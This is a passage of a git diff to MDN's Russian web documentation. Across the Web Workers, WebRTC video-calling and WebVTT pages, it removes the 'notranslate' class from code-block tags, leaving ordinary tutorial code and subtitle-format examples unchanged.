-<pre class="brush: js notranslate">myWorker.terminate();</pre> +<pre class="brush: js">myWorker.terminate();</pre> <p>Поток worker-а немедленно уничтожается.</p> @@ -125,7 +125,7 @@ second.onchange = function() { <p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:</p> -<pre class="brush: js notranslate">importScripts(); /* imports nothing */ +<pre class="brush: js">importScripts(); /* imports nothing */ importScripts('foo.js'); /* imports just "foo.js" */ importScripts('foo.js', 'bar.js'); /* imports two scripts */ </pre> @@ -152,7 +152,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Запуск разделяемого worker-а очень похож на запуск выделенного worker-а, но используется другой конструктор (см. <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> и <a href="http://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>) — в каждом документе необходимо поднять worker, для этого следует написать такой код:</p> -<pre class="brush: js notranslate">var myWorker = new SharedWorker("worker.js");</pre> +<pre class="brush: js">var myWorker = new SharedWorker("worker.js");</pre> <p>Большая разница заключается в том, что с разделяемым worker-ом необходимо взаимодействовать через объект <code>port</code> — явно открыв порт, с помощью которого скрипты могут взаимодействовать с worker-ом (в случае выделенного worker-а это происходит неявно).</p> @@ -162,22 +162,22 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p><strong>Примечание: </strong>Когда используется метод <code>start()</code> чтобы открыть соединение с портом, его необходимо вызывать и в родительском потоке и в потоке worker-а, если необходима двухсторонняя коммуникация.</p> </div> -<pre class="brush: js notranslate">myWorker.port.start(); // в родительском потоке</pre> +<pre class="brush: js">myWorker.port.start(); // в родительском потоке</pre> -<pre class="brush: js notranslate">port.start(); // в потоке worker-а, где переменная <code>port</code> является ссылкой на порт</pre> +<pre class="brush: js">port.start(); // в потоке worker-а, где переменная <code>port</code> является ссылкой на порт</pre> <h3 id="Передача_сообщений_виз_разделяемого_worker-а">Передача сообщений в/из разделяемого worker-а</h3> <p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> -<pre class="brush: js notranslate">squareNumber.onchange = function() { +<pre class="brush: js">squareNumber.onchange = function() { myWorker.port.postMessage([squareNumber.value,squareNumber.value]); console.log('Message posted to worker'); }</pre> <p>Теперь на стороне worker-а. Здесь код немного сложнее (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p> -<pre class="brush: js notranslate">self.addEventListener('connect', function(e) { // требуется addEventListener() +<pre class="brush: js">self.addEventListener('connect', function(e) { // требуется addEventListener() var port = e.ports[0]; port.onmessage = function(e) { var workerResult = 'Result: ' + (e.data[0] * e.data[1]); @@ -194,7 +194,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> -<pre class="brush: js notranslate">myWorker.port.onmessage = function(e) { +<pre class="brush: js">myWorker.port.onmessage = function(e) { result2.textContent = e.data[0]; console.log('Message received from worker'); }</pre> @@ -213,7 +213,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Для иллюстрации этого мы создадим функцию <code>emulateMessage()</code>, которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.</p> -<pre class="brush: js notranslate">function emulateMessage (vVal) { +<pre class="brush: js">function emulateMessage (vVal) { return eval("(" + JSON.stringify(vVal) + ")"); } @@ -255,7 +255,7 @@ alert(emulateMessage(example5).constructor); // Object</pre> <p><strong>example.html</strong>: (главная страница):</p> -<pre class="brush: js notranslate">var myWorker = new Worker("my_task.js"); +<pre class="brush: js">var myWorker = new Worker("my_task.js"); myWorker.onmessage = function (oEvent) { console.log("Worker said : " + oEvent.data); @@ -265,7 +265,7 @@ myWorker.postMessage("ali");</pre> <p><strong>my_task.js</strong> (worker):</p> -<pre class="brush: js notranslate">postMessage("I\'m working before postMessage(\'ali\')."); +<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\')."); onmessage = function (oEvent) { postMessage("Hi " + oEvent.data); @@ -281,7 +281,7 @@ onmessage = function (oEvent) { <p>В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> -<pre class="brush: js notranslate"><code>function QueryableWorker(url, defaultListener, onError) { +<pre class="brush: js"><code>function QueryableWorker(url, defaultListener, onError) { var instance = this, worker = new Worker(url), listeners = {}; @@ -302,7 +302,7 @@ onmessage = function (oEvent) { <p>Затем мы добавляем методы добавления/удаления обработчиков.</p> -<pre class="brush: js notranslate"><code>this.addListeners = function(name, listener) { +<pre class="brush: js"><code>this.addListeners = function(name, listener) { listeners[name] = listener; } @@ -313,7 +313,7 @@ this.removeListeners = function(name) { <p>Здесь мы создадим у worker-а два простых события для примера: получение разницы двух чисел и создание оповещения через три секунды. Но сначала нам нужно реализовать метод sendQuery, который проверит есть ли вообще у worker-а обработчик, который мы собираемся вызвать.</p> -<pre class="brush: js notranslate"><code>/* +<pre class="brush: js"><code>/* Эта функция принимает по крайней мере один аргумент: имя метода, который мы хотим вызвать. Далее мы можем передать методу необходимые ему аргументы. */ @@ -331,7 +331,7 @@ this.sendQuery = function() { <p>Завершим QueryableWorker методом <code>onmessage</code>. Если worker имеет соответствующий метод, который мы запросили, он также должен вернуть соответствующий обработчик и аргументы, которые нам нужны. Останется лишь найти его в <code>listeners</code>:</p> -<pre class="brush: js notranslate"><code>worker.onmessage = function(event) { +<pre class="brush: js"><code>worker.onmessage = function(event) { if (event.data instanceof Object && event.data.hasOwnProperty('queryMethodListener') && event.data.hasOwnProperty('queryMethodArguments')) { @@ -344,7 +344,7 @@ this.sendQuery = function() { <p>Теперь к самому worker-у. Сначала следует определить эти два простых метода:</p> -<pre class="brush: js notranslate"><code>var queryableFunctions = { +<pre class="brush: js"><code>var queryableFunctions = { getDifference: function(a, b) { reply('printStuff', a - b); }, @@ -374,7 +374,7 @@ function defaultReply(message) { <p>И <code>onmessage</code>:</p> -<pre class="brush: js notranslate"><code>onmessage = function(event) { +<pre class="brush: js"><code>onmessage = function(event) { if (event.data instanceof Object && event.data.hasOwnProperty('queryMethod') && event.data.hasOwnProperty('queryMethodArguments')) { @@ -389,7 +389,7 @@ function defaultReply(message) { <p><strong>example.html</strong> (основная страница):</p> -<pre class="brush: html notranslate"><code><!doctype html> +<pre class="brush: html"><code><!doctype html> <html> <head> <meta charset="UTF-8" /> @@ -480,7 +480,7 @@ function defaultReply(message) { <p><strong>my_task.js</strong> (код worker-а):</p> -<pre class="brush: js notranslate"><code>var queryableFunctions = { +<pre class="brush: js"><code>var queryableFunctions = { // пример #1: получить разницу между двумя числами getDifference: function(nMinuend, nSubtrahend) { reply('printStuff', nMinuend - nSubtrahend); @@ -518,7 +518,7 @@ onmessage = function(oEvent) { <p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> -<pre class="brush: js notranslate">// Create a 32MB "file" and fill it. +<pre class="brush: js">// Create a 32MB "file" and fill it. var uInt8Array = new Uint8Array(1024*1024*32); // 32MB for (var i = 0; i < uInt8Array.length; ++i) { uInt8Array[i] = i; @@ -535,7 +535,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <p>Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> @@ -591,7 +591,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <div>Также стоит отметить, что вы также можете преобразовать функцию в BLOB-объект, а затем сгенерировать URL объекта из этого BLOB-объекта. Например:</div> -<pre class="notranslate">function fn2workerURL(fn) { +<pre>function fn2workerURL(fn) { var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'}) return URL.createObjectURL(blob) } @@ -609,7 +609,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <p>Следующий код JavaScript хранится в файле "fibonacci.js", на который ссылается HTML в следующем разделе.</p> -<pre class="brush: js notranslate">var results = []; +<pre class="brush: js">var results = []; function resultReceiver(event) { results.push(parseInt(event.data)); @@ -642,7 +642,7 @@ onmessage = function(event) { <h4 id="HTML_код">HTML код</h4> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 73db097039..2dbda88c71 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>First up is the addition of the function <code>sendToOneUser()</code>. As the name suggests, this sends a stringified JSON message to a particular username.</p> -<pre class="brush: js notranslate">function sendToOneUser(target, msgString) { +<pre class="brush: js">function sendToOneUser(target, msgString) { var isUnique = true; var i; @@ -49,7 +49,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Our original chat demo didn't support sending messages to a specific user. The next task is to update the main WebSocket message handler to support doing so. This involves a change near the end of the <code>"connection"</code> message handler:</p> -<pre class="brush: js notranslate">if (sendToClients) { +<pre class="brush: js">if (sendToClients) { var msgString = JSON.stringify(msg); var i; @@ -163,7 +163,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>The HTML for our client needs a location for video to be presented. This requires video elements, and a button to hang up the call:</p> -<pre class="brush: html notranslate"><div class="flexChild" id="camera-container"> +<pre class="brush: html"><div class="flexChild" id="camera-container"> <div class="camera-box"> <video id="received_video" autoplay></video> <video id="local_video" autoplay muted></video> @@ -187,7 +187,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Throughout our code, we call <code>sendToServer()</code> in order to send messages to the signaling server. This function uses the <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> connection to do its work:</p> -<pre class="brush: js notranslate">function sendToServer(msg) { +<pre class="brush: js">function sendToServer(msg) { var msgJSON = JSON.stringify(msg); connection.send(msgJSON); @@ -199,7 +199,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>The code which handles the <code>"userlist"</code> message calls <code>handleUserlistMsg()</code>. Here we set up the handler for each connected user in the user list displayed to the left of the chat panel. This function receives a message object whose <code>users</code> property is an array of strings specifying the user names of every connected user.</p> -<pre class="brush: js notranslate">function handleUserlistMsg(msg) { +<pre class="brush: js">function handleUserlistMsg(msg) { var i; var listElem = document.querySelector(".userlistbox"); @@ -230,7 +230,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>When the user clicks on a username they want to call, the <code>invite()</code> function is invoked as the event handler for that {{event("click")}} event:</p> -<pre class="brush: js notranslate">var mediaConstraints = { +<pre class="brush: js">var mediaConstraints = { audio: true, // We want an audio track video: true // ...and we want a video track }; @@ -280,7 +280,7 @@ function invite(evt) { <p>If the promise returned by <code>getUserMedia()</code> concludes in a failure, our <code>handleGetUserMediaError()</code> function performs.</p> -<pre class="brush: js notranslate">function handleGetUserMediaError(e) { +<pre class="brush: js">function handleGetUserMediaError(e) { switch(e.name) { case "NotFoundError": alert("Unable to open your call because no camera and/or microphone" + @@ -306,7 +306,7 @@ function invite(evt) { <p>The <code>createPeerConnection()</code> function is used by both the caller and the callee to construct their {{domxref("RTCPeerConnection")}} objects, their respective ends of the WebRTC connection. It's invoked by <code>invite()</code> when the caller tries to start a call, and by <code>handleVideoOfferMsg()</code> when the callee receives an offer message from the caller.</p> -<pre class="brush: js notranslate">function createPeerConnection() { +<pre class="brush: js">function createPeerConnection() { myPeerConnection = new RTCPeerConnection({ iceServers: [ // Information about ICE servers - Use your own! { @@ -358,7 +358,7 @@ function invite(evt) { <p>Once the caller has created its {{domxref("RTCPeerConnection")}}, created a media stream, and added its tracks to the connection as shown in {{anch("Starting a call")}}, the browser will deliver a {{event("negotiationneeded")}} event to the {{domxref("RTCPeerConnection")}} to indicate that it's ready to begin negotiation with the other peer. Here's our code for handling the {{event("negotiationneeded")}} event:</p> -<pre class="brush: js notranslate">function handleNegotiationNeededEvent() { +<pre class="brush: js">function handleNegotiationNeededEvent() { myPeerConnection.createOffer().then(function(offer) { return myPeerConnection.setLocalDescription(offer); }) @@ -406,7 +406,7 @@ function invite(evt) { <p>When the offer arrives, the callee's <code>handleVideoOfferMsg()</code> function is called with the <code>"video-offer"</code> message that was received. This function needs to do two things. First, it needs to create its own {{domxref("RTCPeerConnection")}} and add the tracks containing the audio and video from its microphone and webcam to that. Second, it needs to process the received offer, constructing and sending its answer.</p> -<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) { +<pre class="brush: js">function handleVideoOfferMsg(msg) { var localStream = null; targetUsername = msg.name; @@ -460,7 +460,7 @@ function invite(evt) { <p>Your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler receives an event whose <code>candidate</code> property is the SDP describing the candidate (or is <code>null</code> to indicate that the ICE layer has run out of potential configurations to suggest). The contents of <code>candidate</code> are what you need to transmit using your signaling server. Here's our example's implementation:</p> -<pre class="brush: js notranslate">function handleICECandidateEvent(event) { +<pre class="brush: js">function handleICECandidateEvent(event) { if (event.candidate) { sendToServer({ type: "new-ice-candidate", @@ -491,7 +491,7 @@ function invite(evt) { <p>The signaling server delivers each ICE candidate to the destination peer using whatever method it chooses; in our example this is as JSON objects, with a <code>type</code> property containing the string <code>"new-ice-candidate"</code>. Our <code>handleNewICECandidateMsg()</code> function is called by our main <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> incoming message code to handle these messages:</p> -<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) { +<pre class="brush: js">function handleNewICECandidateMsg(msg) { var candidate = new RTCIceCandidate(msg.candidate); myPeerConnection.addIceCandidate(candidate) @@ -514,7 +514,7 @@ function invite(evt) { <p>When new tracks are added to the <code>RTCPeerConnection</code>— either by calling its {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} method or because of renegotiation of the stream's format—a {{event("track")}} event is set to the <code>RTCPeerConnection</code> for each track added to the connection. Making use of newly added media requires implementing a handler for the <code>track</code> event. A common need is to attach the incoming media to an appropriate HTML element. In our example, we add the track's stream to the {{HTMLElement("video")}} element that displays the incoming video:</p> -<pre class="brush: js notranslate">function handleTrackEvent(event) { +<pre class="brush: js">function handleTrackEvent(event) { document.getElementById("received_video").srcObject = event.streams[0]; document.getElementById("hangup-button").disabled = false; }</pre> @@ -527,7 +527,7 @@ function invite(evt) { <p>Your code receives a {{event("removetrack")}} event when the remote peer removes a track from the connection by calling {{domxref("RTCPeerConnection.removeTrack()")}}. Our handler for <code>"removetrack"</code> is:</p> -<pre class="brush: js notranslate">function handleRemoveTrackEvent(event) { +<pre class="brush: js">function handleRemoveTrackEvent(event) { var stream = document.getElementById("received_video").srcObject; var trackList = stream.getTracks(); @@ -548,7 +548,7 @@ function invite(evt) { <p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is called:</p> -<pre class="brush: js notranslate">function hangUpCall() { +<pre class="brush: js">function hangUpCall() { closeVideoCall(); sendToServer({ name: myUsername, @@ -563,7 +563,7 @@ function invite(evt) { <p>The <code>closeVideoCall()</code> function, shown below, is responsible for stopping the streams, cleaning up, and disposing of the {{domxref("RTCPeerConnection")}} object:</p> -<pre class="brush: js notranslate">function closeVideoCall() { +<pre class="brush: js">function closeVideoCall() { var remoteVideo = document.getElementById("received_video"); var localVideo = document.getElementById("local_video"); @@ -620,7 +620,7 @@ function invite(evt) { <p>{{event("iceconnectionstatechange")}} events are sent to the {{domxref("RTCPeerConnection")}} by the ICE layer when the connection state changes (such as when the call is terminated from the other end).</p> -<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) { +<pre class="brush: js">function handleICEConnectionStateChangeEvent(event) { switch(myPeerConnection.iceConnectionState) { case "closed": case "failed": @@ -636,7 +636,7 @@ function invite(evt) { <p>Similarly, we watch for {{event("signalingstatechange")}} events. If the signaling state changes to <code>closed</code>, we likewise close the call out.</p> -<pre class="brush: js notranslate">function handleSignalingStateChangeEvent(event) { +<pre class="brush: js">function handleSignalingStateChangeEvent(event) { switch(myPeerConnection.signalingState) { case "closed": closeVideoCall(); @@ -652,7 +652,7 @@ function invite(evt) { <p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but it can be useful to watch these events for debugging purposes, as well as to detect when candidate collection has finished.</p> -<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) { +<pre class="brush: js">function handleICEGatheringStateChangeEvent(event) { // Our sample just logs information to console here, // but you can do whatever you need. } diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html index 9bd0e2eead..2c7869eec6 100644 --- a/files/ru/web/api/webvtt_api/index.html +++ b/files/ru/web/api/webvtt_api/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/WebVTT_API <p>Файл WebVTT (<code>.vtt</code>) содержит реплики (cues), которые могут быть одной строкой или несколькими строками, как показано ниже:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:01.000 --> 00:04.000 Никогда не пейте жидкий азот. @@ -44,17 +44,17 @@ translation_of: Web/API/WebVTT_API <h5 id="Пример_1_-_Простейший_возможный_файл_WEBVTT">Пример 1 - Простейший возможный файл WEBVTT</h5> -<pre class="eval notranslate">WEBVTT +<pre class="eval">WEBVTT </pre> <h5 id="Пример_2_-_Очень_простой_файл_WebVTT_с_текстовым_заголовком">Пример 2 - Очень простой файл WebVTT с текстовым заголовком</h5> -<pre class="eval notranslate">WEBVTT - Этот файл не содержит реплик. +<pre class="eval">WEBVTT - Этот файл не содержит реплик. </pre> <h5 id="Пример_3_-_Обычный_WebVTT_с_заголовком_и_репликами">Пример 3 - Обычный WebVTT с заголовком и репликами</h5> -<pre class="eval notranslate">WEBVTT - Этот файл содержит реплики. +<pre class="eval">WEBVTT - Этот файл содержит реплики. 14 00:01:14.815 --> 00:01:18.114 @@ -75,7 +75,7 @@ translation_of: Web/API/WebVTT_API <p>Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:01.000 --> 00:04.000 - Never drink liquid nitrogen. @@ -115,12 +115,12 @@ NOTE Это последняя строка в файле</pre> <h5 id="Example_4_-_Common_WebVTT_example">Example 4 - Common WebVTT example</h5> -<pre class="eval notranslate">NOTE This is a comment +<pre class="eval">NOTE This is a comment </pre> <h5 id="Example_5_-_Multi-line_comment">Example 5 - Multi-line comment</h5> -<pre class="eval notranslate">NOTE +<pre class="eval">NOTE Another comment that is spanning more than one line. @@ -130,7 +130,7 @@ across more than one line this way. <h5 id="Example_6_-_Common_comment_usage">Example 6 - Common comment usage</h5> -<pre class="eval notranslate">WEBVTT - Translation of that film I like +<pre class="eval">WEBVTT - Translation of that film I like NOTE This translation was done by Kyle so that @@ -159,7 +159,7 @@ NOTE This last line may not translate well. <h3 id="В_CSS-стилях_сайта">В CSS-стилях сайта</h3> -<pre class="brush: css notranslate">video::cue { +<pre class="brush: css">video::cue { background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } @@ -173,7 +173,7 @@ video::cue(b) { <p>Фрагмент HTML, приведённый ниже, отображает видео.</p> -<pre class="brush: html notranslate"><video controls autoplay src="video.webm"> +<pre class="brush: html"><video controls autoplay src="video.webm"> <track default src="track.vtt"> </video> </pre> @@ -182,7 +182,7 @@ video::cue(b) { <p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT STYLE ::cue { @@ -205,7 +205,7 @@ NOTE style blocks cannot appear after the first cue.</pre> <p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 1 00:00.000 --> 00:02.000 @@ -216,12 +216,12 @@ crédit de transcription Transcrit par Célestes™ </pre> -<pre class="brush: css notranslate">::cue(#\31) { color: lime; } +<pre class="brush: css">::cue(#\31) { color: lime; } ::cue(#crédit\ de\ transcription) { color: red; }</pre> <p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 00:00:00.000 --> 00:00:04.000 position:10%,line-left align:left size:35% Where did he go? @@ -246,7 +246,7 @@ What are you waiting for?</pre> <h5 id="Example_7_-_Example_of_a_cue">Example 7 - Example of a cue</h5> -<pre class="eval notranslate">1 - Title Crawl +<pre class="eval">1 - Title Crawl 00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start Some time ago in a place rather distant....</pre> @@ -256,11 +256,11 @@ Some time ago in a place rather distant....</pre> <h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5> -<pre class="eval notranslate">1 - Title Crawl</pre> +<pre class="eval">1 - Title Crawl</pre> <h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5> -<pre class="eval notranslate">WEBVTT +<pre class="eval">WEBVTT 1 00:00:22.230 --> 00:00:24.606 @@ -331,20 +331,20 @@ Third <h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5> -<pre class="eval notranslate">00:22.230 --> 00:24.606 +<pre class="eval">00:22.230 --> 00:24.606 00:30.739 --> 00:00:34.074 00:00:34.159 --> 00:35.743 00:00:35.827 --> 00:00:40.122</pre> <h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5> -<pre class="eval notranslate">00:00:00.000 --> 00:00:10.000 +<pre class="eval">00:00:00.000 --> 00:00:10.000 00:00:05.000 --> 00:01:00.000 00:00:30.000 --> 00:00:50.000</pre> <h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5> -<pre class="eval notranslate">00:00:00.000 --> 00:00:10.000 +<pre class="eval">00:00:00.000 --> 00:00:10.000 00:00:10.000 --> 00:01:00.581 00:01:00.581 --> 00:02:00.100 00:02:01.000 --> 00:02:01.000</pre> @@ -555,7 +555,7 @@ Third <p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p> -<pre class="eval notranslate">00:00:05.000 --> 00:00:10.000 +<pre class="eval">00:00:05.000 --> 00:00:10.000 00:00:05.000 --> 00:00:10.000 line:63% position:72% align:start 00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start 00:00:05.000 --> 00:00:10.000 vertical:rt line:-1 align:end @@ -628,7 +628,7 @@ Third <div> <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5> - <pre class="eval notranslate">1 + <pre class="eval">1 00:16.500 --> 00:18.500 When the moon <00:17.500>hits your eye @@ -656,7 +656,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5> - <pre class="notranslate"><c.classname>text</c></pre> + <pre><c.classname>text</c></pre> </div> </li> <li><strong>Italics tag</strong> (<code><i></i></code>) @@ -667,7 +667,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5> - <pre class="notranslate"><i>text</i></pre> + <pre><i>text</i></pre> </div> </li> <li><strong>Bold tag</strong> (<code><b></b></code>) @@ -678,7 +678,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5> - <pre class="notranslate"><b>text</b></pre> + <pre><b>text</b></pre> </div> </li> <li><strong>Underline tag</strong> (<code><u></u></code>) @@ -689,7 +689,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5> - <pre class="notranslate"><u>text</u></pre> + <pre><u>text</u></pre> </div> </li> <li><strong>Ruby tag</strong> (<code><ruby></ruby></code>) @@ -700,7 +700,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5> - <pre class="notranslate"><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> + <pre><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> </div> </li> <li><strong>Ruby text tag</strong> (<code><rt></rt></code>) @@ -711,7 +711,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5> - <pre class="notranslate"><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> + <pre><ruby>WWW<rt>World Wide Web</rt>oui<rt>yes</rt></ruby></pre> </div> </li> <li><strong>Voice tag</strong> (<code><v></v></code>) @@ -722,7 +722,7 @@ That's <00:00:21.000>amore <div> <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5> - <pre class="notranslate"><v Bob>text</v></pre> + <pre><v Bob>text</v></pre> </div> </li> </ul> @@ -737,7 +737,7 @@ That's <00:00:21.000>amore <p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p> -<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> }; +<pre class="idl def">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> }; enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> }; enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> }; enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> }; @@ -763,7 +763,7 @@ interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/em <p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p> -<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> }; +<pre class="idl def">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> }; [<a class="idl-code" 